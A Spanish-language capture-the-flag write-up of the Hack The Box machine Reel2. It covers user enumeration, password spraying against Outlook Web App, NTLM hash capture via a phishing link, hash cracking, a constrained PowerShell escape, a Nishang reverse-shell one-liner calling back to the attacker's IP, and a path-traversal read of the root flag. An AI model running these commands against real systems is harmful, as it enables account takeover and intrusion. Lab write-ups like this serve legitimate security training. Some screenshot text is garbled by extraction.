Máquina Reel2





15 Noviembre 2023

Hack The Box Creado por: dandy_loco



1. Enumeración

Realizamos un PING a la máquina víctima para comprobar su TTL. A partir del valor devuelto, nos podemos hacer una idea del sistema operativo que tiene. En este caso podemos deducir que se trata de una máquina Windows.

— 10.10.10.210 ping statistics — 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 38.862/38.862/38.862/0.000 ms

Realizamos un escaneo exhaustivo de los puertos abiertos, con sus correspondientes servicios y versiones asociados.

1. # Nmap 7.94 scan initiated Mon Nov 13 19:20:34 2023 as: nmap -sCV -p 80,443,5985,6001,6002,6004,6005,6006,6007,6008,6010,6011,6012,6017,6167,8080 -n -Pn -vvv -oN targeted 10.10.10.210 2. Nmap scan report for 10.10.10.210 3. Host is up, received user-set (0.046s latency). 4. Scanned at 2023-11-13 19:20:35 CET for 66s 5. 6. PORT STATE SERVICE REASON VERSION 7.80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 8.5 8. _http-server-header: Microsoft-IIS/8.5 9. _http-title: 403 - Forbidden: Access is denied. 10. 443/tcp open ssl/http syn-ack ttl 127 Microsoft IIS httpd 8.5 11. __ssl-date: 2023-11-13T18:21:41+00:00; 0s from scanner time. 12. | ssl-cert: Subject: commonName=Reel2 13. | Subject Alternative Name: DNS:Reel2, DNS:Reel2.htb.local 14. | Issuer: commonName=Reel2 15. Public Key type: rsa 16. | Public Key bits: 2048 17. | Signature Algorithm: sha1WithRSAEncryption 18. | Not valid before: 2020-07-30T10:12:46 19. Not valid after: 2025-07-30T10:12:46 MD5: aa49:5cac:7115:c7fe:0628:2a6b:0124:37c4 20. SHA-1: d7ea:2696:a56f:09cb:24ce:557f:830e:86ec:5f63:0f2d 21. 22. --BEGIN CERTIFICATE-MIIDAjCCAeqgAwIBAgIQWlAODKHeRKhAoNajyUQfPzANBgkqhkiG9w0BAQUFADAQ 23. 24. MQ4wDAYDVQQDEwVSZWVsMjAeFw0yMDA3MzAxMDEyNDZaFw0yNTA3MzAxMDEyNDZa MBAxDjAMBgNVBAMTBVJlZWwyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC 25. AQEA7TbB/U28rd2ITtVpYctNMtlUSIYBLbXIhcOEp7noZORecx8d1E1pCgtsGTgV 26. 27. 35y13jEcATGYk0HGr3/5KF04GVVVK3vDj/bVLi6QfPOxoPZq4muWhFLb+f/3cqhj 28. 49uEJMIWoTMcLmGymCP/zc88oMGWCcnebUYnHdMQzmOE+jaI5sk8xWxeoIv8t/1X y4bF46Y3RBOTJNLJTi0s9qoNUlRbXGpZ548QT0+4T2q5sbCu/iEdSGucFkj7cLy+ 29. q0Gkccc2sinSN4ftKpSMi+A1aZjxysCyQXWJhjLiMBT5LGuOlUnhNQhEwF6/o3fN 30. 31. u+evEyfB764QW6Uo7zPlq827EQIDAQABo1gwVjAOBgNVHQ8BAf8EBAMCBaAwIQYD VR0RBBowGIIFUmVlbDKCD1JlZWwyLmh0Yi5sb2NhbDATBgNVHSUEDDAKBggrBgEF 32. BQcDATAMBgNVHRMBAf8EAjAAMA0GCSqGSIb3DQEBBQUAA4IBAQCkyMyuXsxI6QwQ 33. 34. zrZwrhG4ZEftEABrxwEcVA/MedE2wvNihk2EMndVCCLSSOocDX6g7Z2hB3JQ1n+p 35. abQ2UyaSSU3VVeEsczHi40wSfnadViUGQBXxUckGS8wgpH+CGOBQlnDx3wLo98nU 36. 0Guga4NyQ3ffKxSmYK1qb5ntroBnhw/X5JRoxybjwR08nuJDTbWz1R3J3dZgCSQ4 37. L6MCq4fbpu9oLfw5KBCNdATeXftJsY+/YitUNwo5wLhz39RBwcUhsNur4j/g9jxU 38. lokpm7spuW2gkWEW/QvwR2JDLBzEWYf/7jnl3rjnaHVVqP2LwsYVsEvtJlmu687b 39. /bkl5nE+ 40. CERTIFICATE----

https://dandyloco.github.io/

```
41. _http-title: IIS Windows Server
42. http-server-header: Microsoft-IIS/8.5
43. http-methods:
44.
        Supported Methods: OPTIONS TRACE GET HEAD POST
        Potentially risky methods: TRACE
45.
46. 5985/tcp open http
                             syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47. http-title: Not Found
48. |_http-server-header: Microsoft-HTTPAPI/2.0
49. 6001/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
50. 6002/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
51. 6004/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
                          syn-ack ttl 127 Microsoft Windows RPC
52. 6005/tcp open msrpc
53. 6006/tcp open msrpc
                             syn-ack ttl 127 Microsoft Windows RPC
54. 6007/tcp open msrpc
                             syn-ack ttl 127 Microsoft Windows RPC
55. 6008/tcp open msrpc
                             syn-ack ttl 127 Microsoft Windows RPC
56. 6010/tcp open ncacn http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
                          syn-ack ttl 127 Microsoft Windows RPC
57. 6011/tcp open msrpc
58. 6012/tcp open msrpc
                             syn-ack ttl 127 Microsoft Windows RPC
                             syn-ack ttl 127 Microsoft Windows RPC
59. 6017/tcp open msrpc
                             syn-ack ttl 127 Microsoft Windows RPC
60. 6167/tcp open msrpc
61. 8080/tcp open http
                             syn-ack ttl 127 Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.2.32)
62. |_http-open-proxy: Proxy might be redirecting requests
63.
    _http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.2.32
64. | http-cookie-flags:
65.
       /:
66.
         PHPSESSID:
67.
           httponly flag not set
     http-title: Welcome | Wallstant
68.
69. http-methods:
70. _
       Supported Methods: GET HEAD POST OPTIONS
71. Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
72.
73. Host script results:
74. _clock-skew: 0s
75.
76. Read data files from: /usr/bin/../share/nmap
77. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
78. # Nmap done at Mon Nov 13 19:21:41 2023 -- 1 IP address (1 host up) scanned in 67.00 seconds
79.
```

Vemos que el puerto TCP/443 está abierto. Intentamos averiguar, mediante el certificado SSL, algún dominio o subdominio.

1. openssl s_client -connect 10.10.10.210:443



Mediante el uso de whatweb, intentamos averiguar las tecnologías del servicio web que está disponible en el puerto TCP/80. Recibimos un "Forbidden", por lo que intuimos que se está realizando algún tipo de filtro.

(mont@ kali)-[/home/kali/HTB/Reel2] i whatweb http://10.10.10.210 http://10.10.210 [403 Forbidden] Country[RESERVED][22], HTTPServer[Microsoft-IIS/8.5], IP[10.10.10.210], Microsoft-IIS[8.5], Title[403 - Forbidden: Access is denied.], X-Powered-By[ASP.NET]

Realizamos el mismo proceso, pero para el puerto TCP/443.

 Si consultamos la web con nuestro navegador, vemos que se trata de la página por defecto de IIS.



Realizamos un ataque de descubrimiento de directorios, con gobuster, sobre la url <u>https://10.10.10.210</u>. Descubrimos un directorio interesante.

<pre>(root@kali)-[/home/kali/ gobuster dir -u https://</pre>	HTB/Reel2] 10.10.10.210 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -k
Gobuster v3.6 by OJ Reeves (@TheColonial)	8 Christian Mehlmauer (@firefart)
<pre>[+] Url: [+] Method: [+] Threads: [+] Wordlist: [+] Negative Status codes: [+] User Agent: [+] Timeout:</pre>	https://10.10.10.210 GET 20 /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt 404 gobuster/3.6 10s
Starting gobuster in directo	ry enumeration mode
/public (Statu /exchange (Statu /Public (Statu	s: 302) [Size: 147] [→ https://10.10.10.210/owa] s: 302) [Size: 147] [→ https://10.10.10.210/owa] s: 302) [Size: 147] [→ https://10.10.10.210/owa]

Se trata del acceso web mail (OWA) de Microsoft Exchange.

Outlook [®] WebApp	
Security (show explanation) This is a public or shared computer This is a private computer Use the light version of Outlook Web App	
Domain\user name:	Sign in
Connected to Microsoft Exchange © 2009 Microsoft Corporation. All rights reserved.	

De momento, no tenemos ninguna credencial, por lo que seguimos enumerando. Ahora revisamos las tecnologías usadas por el servicio que correo sobre el puerto para el puerto TCP/8080.

Abrimos la web en nuestro navegador.

IJ/NIB/NETT, 10.210:8380 [200 OK] Apache(2.4.43], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][22], HTTPServer[Apache/2.4.43 (Win64) [Scield/Login assumed]. Script[rett/javascript]. Title[Welcome | Wellstamt], X-Powered-By[PHP/7.2.32]

원 10.10.210:8080							
🗙 Kali Forums 🧟 Kali NetHunter 🔺 E	📉 Kali Forums 🛛 🦰 Kali NetHunter 🔺 Exploit-DB 🛸 Google Hacking DB 🌗 OffSec						
rivacy policy							
		Welcome to V	Vallstant				
	Meet new friends and stay co	onnected with your family an	d with who you are interested anytime anywhere.				
	Login now		a 🛡 🔫 🜌				
	Login	Forgot your password?					

¿Qué es Wallstant?

Es un software y script de redes sociales que te ayuda a entender los conceptos de redes sociales y a construir tu propio sitio web de redes sociales.

Mahdil. OpenSSL[1.1

TR[10 10 10 210] 10

Nos creamos un usuario e ingresamos en la web.

0 10.10.10.210	♥ 各 10.10.210:8080/home							
cs 🔌 Kali Forums 🧃	cs 🕱 Kali Forums Kali NetHunter 🔺 Exploit-DB 🔌 Google Hacking DB 🌗 OffSec							
	Wallstant Home 🌲	Notifications 🖂 Messa	ages					
		Account setup				TRENDING - WORLDWIDE PAGES POSTS		
	test1234	User photo	Cover photo	Profile info	Follow people	cube0x0 @cube0x0		
	@test1234	Complete	Complete	Complete	Complete	Cube @cube		
	Edit profile	test1234				esvensson		
		@lesi1234				lars Alareson		

Revisamos las tecnologías con Wappalyzer, por si nos aporta alguna información adicional de las descubiertas por whatweb.



2. Análisis de vulnerabilidades

Encontramos, pulsando sobre el recuadro "search" una forma de buscar de enumerar usuarios si dejamos la consulta en blanco.

🔿 웝 10.10.10.210:8080/search?q=					E ☆
cs 📉 Kali Forums 🤻 Kali NetHunter	🛸 Exploit-DB 🔺 G	oogle Hacking DB 🛛 🌗 Off	Sec		
Wallstant	n Home 🔺 No	tifications 🖂 Messages			
Warning: Use of unde	fined constant passwo	rd_hash - assumed 'passw	rord_hash' (this will th	nrow an Error in a future version of	PHP) in C:\xampp\htdocs\social\search.php on line 23
gregg @qui	mbly		• Follow		
josep @Mo	h ore		• Follow		
teres: @trur	a np		• Follow		

Para generar un diccionario de usuarios, realizamos la siguiente petición curl con nuestro cookie de sesión.

<pre>1. curl -s 'http://10.10. 'user_follow_box_a' aw</pre>	.10.210:8080/search?q=' -b < '{print \$4 " " \$6}' FS=">	'PHPSESSID=o68vkc5closr5geuq4l68tdu46' grep " sed 's/ users.txt
<pre>(root@kali)-[/home/kali/HTB/Reel2] greag output -s 'http://10.10.10.210:8080/se greag output</pre>	arch?q=' -b 'PHPSESSID=o68vkc5closr5geuq4l68tdu	u46' grep 'user_follow_box_a' awk '{print \$4 " " \$6}' FS-">" sed 's/ br @//' sed 's/<\/span,
s-ss quarts joseph Moore teresa trump cube cube sven svensson lem -illor		
alex miller michael doe egre55 egre55 travis scott davis marshall		
jeff Perez frans allen test test2 james Martin stig helmer		
donald Johson jhon smith chris Thompson kalle garcia cube0% cube0%0		
lee rodriguez jenny adams david Taylor jim morgan Jayr Layroon		
charles Jackson charles Jackson test1234 test1234 test_test test fred sanders		

Ya tenemos un diccionario con usuario potenciales. Ahora nos faltaría saber qué contraseña usar. Entendemos que el post de Sven es una pista.

sven 3 years	•••
2020	
This summer is so hot!	
¢	

Creamos un diccionario de contraseñas, a partir de las combinaciones que se me ocurrieron:

—(roo —# cat	—(root@kali)-[/home/kali/HTB/Reel2] —# cat passwd.txt							
	File: passwd.txt							
	summer							
	Summer							
	summer2020							
	Summer2020							
	summer!1							
	summer@2							
	summer#3							
	Summer2020!1							
	Summer@2							
10	Summer#3							

Vamos a intentar realizar un ataque de PasswordSprayin contra la web del owa. Para ello vamos a usar este conjunto de <u>herramientas</u>.

1. git clone https://github.com/byt3bl33d3r/SprayingToolkit.git

- 2. cd SprayingToolkit
- 3. pip3 install -r requirements.txt

Formateamos un diccionario, con los usuarios obtenidos anteriormente, al estilo de directorio activo con la herramienta spindrift.

1. python3 spindrift.py ../../users.txt --format "{first}.{last}" >> usernames
2. python3 spindrift.py ../../users.txt --format "{f}.{last}" >> usernames

Ahora, realizamos un ataque de fuerza bruta contra la web del OWA con la herramienta atomizer.

1. python3 atomizer.py owa 10.10.10.210 ../../passwd.txt usernames

-#	<pre>(root@kali)-[/home//HTB/Reel2/content/SprayingToolkit] python3 atomizer.py owa 10.10.10.210//passwd.txt usernam</pre>	es interval 00:00:01
[*]	Trying to find autodiscover URL	
[+]	Using OWA autodiscover URL: https://10.10.10.210/autodiscover	/autodiscover.xml
[+]	OWA domain appears to be hosted internally	
[+]	Got internal domain name using OWA: HTB	
[*]	Starting spray at 2023-11-14 19:55:03 UTC	

Conseguimos una credencial.

1. [+] Found credentials: s.svensson: Summer2020

3. Explotación y acceso

Probamos a acceder con las credenciales obtenidas al OWA, mediante el navegador Chome (con Firefox da algún que otro problema). Una vez dentro, probamos a enviar a todos los remitentes un correo, con un enlace hacia nuestra máquina de atacante.



Vamos a valernos de Responder para intentar capturar algún hash o similar.

1. responder -I tun0

] NTLMv2 Username : htb\k.svenssor] NTLMv2 Hash : k.svensson::h1 40014005A0046004B0037002E004C004F0

Vamos a intentar descubrir la password del usuario k.svensson mediante fuerza fruza. Para ello, nos valemos de John.

kittycat1

(k.svensson)

Validamos las credenciales obtenidas con crackmapexec.

(root®k	ali)-[/home/kali pexec winrm 10.1	i/HTB/Re 10.10.21	el2] .0 -u k.sve	nsson -p 'kittycat1'
SMB	10.10.10.210	5985	NONE	[*] None (name:10.10.10.210) (domain:None)
HTTP	10.10.10.210	5985	NONE	[*] http://10.10.10.210:5985/wsman
NINRM	10.10.10.210	5985	NONE	<pre>[+] None\k.svensson:kittycat1 (Pwn3d!)</pre>
WINRM	10.10.10.210	5985	NONE	[-] None\k.svensson:kittycat1 "'NoneType' object has no attribute 'upper'"

Si nos intentamos conectar mediante evil-winrm, nos devuelve un error al ejecutar comandos típicos como dir, whoami, etc.

Tenemos una forma alternativa de conectarnos, haciendo uso de la instrucción pwsh. Posteriormente, para iniciar una sesión con PowerShell, ejecutamos.



Igualmente, nos da errores a la hora de ejecutar comandos básicos como dir.

[10.10.10.210]: PS>dir The term 'dir' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. + CategoryInfo : ObjectNotFound: (dir:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException

Podemos descubrir si estamos ante una sesión con un contexto restringido ejecutando este comando.

1. \$ExecutionContext.SessionState.LanguageMode



Tenemos una forma de evadir este control añadiendo un "&" a la función que queramos ejecutar. Ej: &{dir}

[10.10.10.210]: P> &{dir}						
Directory	: C:\Users\	k.svens	sson	\Documents		
Mode	Last	WriteTi	ime	Length	Name	
—					—	
d	7/30/2020	5:14	ΡM		WindowsPowerShell	
-a	7/31/2020	11:58	AM	5600	jea_test_account.psrc	
-a	7/31/2020	11:58	АМ	2564	jea_test_account.pssc	

Para trabajar más comidamente, valiéndonos de Nishang, vamos a intentar tener una consola completamente funcional. Para no traernos todo el repositorio, ejecutamos.

1. svn checkout https://github.com/samratashok/nishang/trunk/Shells

Modificamos el fichero Invoke-PowerShellTcpOneLine.ps1, para ajustarlo a nuestras necesidades (IP, puerto, etc.).

cat Twoke-PowerShellTcpOneLine.ps1

File: Invoke-PowerShellTcpOneLine.ps1

File: Invoke-PowerShellTcpOneLine.ps1

Sclient - New-Object System.Net.Sockets.TCPClient('10.10.14.17', 443);\$stream - \$client.GetStream();[byte]]}bytes - 0...655351%{0};ahile((\$i - \$stream.Read(\$bytes, 0, \$bytes.Length)) -m: 0};;\$data - (New-Object - TypeName System
.Tex.ASCIEncoding).GetString(Shytes, 0 = \$);\$sendback + 'P5 ' + (pwd).Path + '> ;\$sendbyte - ([text.encoding]:ASCII).GetBytes(\$sendback);\$stream.Write(\$sendbyte, 0, \$
endbyte.length);\$float:Client.Client('10.10.14.17', 443);\$stream.Write(\$sendback2 - \$sendback4 + 'P5 ' + (pwd).Path + '> ;\$sendbyte - ([text.encoding]:ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte, 0, \$steram.Write(\$sendbyte, 0, \$steram.Write(\$sendback2);\$stream.Write(\$sendbac

Codificamos el contenido en base64, pero debemos tener en cuenta que en Windows se hace de una forma diferente.

1. cat Invoke-PowerShellTcpOneLine.ps1 | iconv -t utf-16le | base64 -w0; echo

Nos ponemos en escucha con netcat en el puerto 443 y ejecutamos en la sesión de PowerShell que tenemos conectada a la máquina víctima.



4. Escalada de privilegios

Una vez dentro de la máquina víctima, comprobamos nuestros privilegios. Pero no vemos nada que nos parezca interesante.

Privilege Name	Description (GwAaQBLAGAAdAAgADD)	StateGUAdw
SeMachineAccountPrivilege	Add workstations to domain	Enabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Enabled

Revisamos el directorio actual y encontramos dos ficheros interesantes.

PS C:\Users\k.svensson\Documents> dir									
Directo	ry: C:\Users\	k.svensson'	\Documents						
Mode	Last	WriteTime	Lengt	h Name					
d	7/30/2020 7/31/2020 7/31/2020	5:14 PM 11:58 AM 11:58 AM	560 256	— — — WindowsPowerShell Ø jea_test_account.psrc 4 jea_test_account.pssc					

El fichero jea_test_account.psrc define una función "Check-file" de PowerShell que pasándole como parámetro un fichero, lee su contenido.



Por otro lado, el fichero jea_test_account.pssc define qué usuario podrá ejecutar el comando Check-file.



Por tanto, entendemos que la escalada de privilegios se debe realizar aprovechándonos de alguna forma de esa función "Check-file". Dado que de momento no la podemos usar, seguimos enumerando el sistema.

En el directorio Desktop, encontramos un acceso directo al programa Sticky Notes. Vamos a ver si el usuario tiene alguna nota, con credenciales o información de la que nos podamos aprovechar.

PS C:\Users\k.svensson\Desktop> dir									
[10.10.10.2] AbQ/ Directo wACwA1AAkAG	ry: C:\Users\k.svensson\De	JAB JAGWARQBI AG4A dAAgAD0A LABOAGU esktop (BOAHI AZQBHAGOAKAADAD AWWB AdaBoa CKAKQAga COAbgBI A CAAMAADAH SACAA TARDACKADWAKAHMA ZORMAGOA YOR							
ModeAUwAgACo	CAIAArACALastWriteTimeAC4/	AUABhA Length g Name IAAnADAAIAAnADs							
d 10.21 -aAAAAG -aAAAAAG -arAAAAAG A YOB LACAAVW	2/12/2021 5:12 PM 2/8/2021 5:55 PM 7/30/2020 1:19 PM 2/8/2021 5:54 PM 11/15/2023 12:27 PM	WinDirStatPortable 1490312 procexp64.exe 2428 Sticky Notes.lnk 2591096 Sysmon64.exe 34 user.txt							

El directorio de trabajo de Sticy Notes es Appdata\Roaming así que navegamos hasta dicho directorio.

PS C:\Users\	k.svensson∖Ap	opdata\Roaming>	dir jAGwAaQBlAG4AdAAgAD0AIABC
Director	y: C:\Users\	.svensson\Appda	ta\Roaming
nAFAAUwAgACc			
ModetAC4AVwB	yAGKAdAB Las<u>t</u>N	VriteTimebgBkAGI	Ac Length A Name ACwAJABZAGUA
	_ 1 _ 1		
d	7/30/2020	1:17 PM	Adobe
d—s-	7/30/2020	2:43 PM	Microsoft
d	7/30/2020	2:27 PM	Mozilla
d	7/30/2020	1:23 PM	stickynotes

Vemos un fichero interesante, 000003.log, que no se puede leer correctamente desde la consola de PowerShell.



Intentamos convertirlo en hexadecimal.

1. PS C:\Users\k.svensson\appdata\roaming\stickynotes\local storage\leveldb> cat 000003.log | format-hex

https://dandyloco.github.io/

©Dandy_loco

PS C:\Users\k.svensson\appdata\roaming\stickynotes\local storage\leveldb> cat 000003.log format-hex																	
	00	01	02	03	04	05	06	07	08	09	0A	0B	0C	0D	0E	ØF	
00000000	2F	3F	ЗF	75	42	00	01	01	00	00	00	00	00	00	00	03	7?? uB
00000010	00	00	00	01	07	56	45	52	53	49	4F	4E	01	31	00	ØC	VERSION.1
00000020	4D	45	54	41	ЗA	61	70	70	ЗA	2F	2 F	2 E	00	1B	5F	61	META:app://a
00000030	70	70	ЗA	2F	2F	2E	00	01	5F	5F	73	74	6F	72	65	6A	pp://storej
00000040	73	5F	5F	74	65	73	74	5F	5F	5A	ЗF	ЗF	39	5B	01	01	s_test_Z??9[
00000050	04	00	00	00	00	00	00	00	05	00	00	00	01	0C	4D	45	ME
00000060	54	41	ЗA	61	70	70	ЗA	2F	2F	2E	0C	08	ЗF	ЗF	ЗF	ЗF	TA:app:// ????
00000070	ЗF	ЗF	ЗF	17	10	ЗF	01	01	ØB	5F	61	70	70	ЗA	2F	2F	????app://
00000080	2 E	00	01	31	ЗF	01	01	7B	22	66	69	72	73	74	22	ЗA	1?{"first":
00000090	22	ЗC	70	3E	43	72	65	64	65	6E	74	69	61	6C	73	20	"Credentials
000000A0	66	6F	72	20	4A	45	41	ЗC	2F	70	ЗE	зc	70	3E	6A	65	for JEAje
000000B0	61	5 F	74	65	73	74	5F	61	63	63	6F	75	6E	74	3A	41	wa_test_account:A
000000C0	62	21	51	40	76	63	67	5E	25	40	23	31	ЗC	2F	70	3E	b. D. D. D
00000000	22	20	22	60	6.0	6.0	0.0	20	2.4	22	70	67	6.0	20	22	25	- H-HE-SUB-H-HE-KOR

Conseguimos unas posibles credenciales.

1. Ab!Q@vcg^%@#1

2. jea_test_account

Siguiendo el principio anterior, volvemos a intentar conectarnos con una consola de PowerShell.

- 1. \$pass = ConvertTo-SecureString ' Ab!Q@vcg^%@#1' -asplaintext -force
 2. \$cred = New-Object System.Management.Automation.PSCredential('htb\ jea_test_account', \$pass)
- 3. Enter-PSSession -Computer 10.10.10.210 -credential \$cred -Authentication Negotiate

Sin embargo, nos devuelve un error de "ACCESS_DENIED".

comation.PSCredential('htb\jea_te omation.PSCredential('htb\jea_te credential \$cred Authontication

Revisamos la <u>documentación</u> y parece que puede que nos falte el parámetro ConfigurationName. Probamos de nuevo.

1. Enter-PSSession -Computer 10.10.10.210 -credential \$cred -Authentication Negotiate -ConfigurationName jea_test_account

Logramos acceder al sistema. Ya solo nos queda leer la flag de root. Para ello, usamos la función definida "Check-file", que vimos anteriormente. En esta máquina, no está pensada para que puedas convertirte en administrador, de una forma interactiva.

1. Check-File C:\ProgramData\..\Users\Administrator\Desktop\root.txt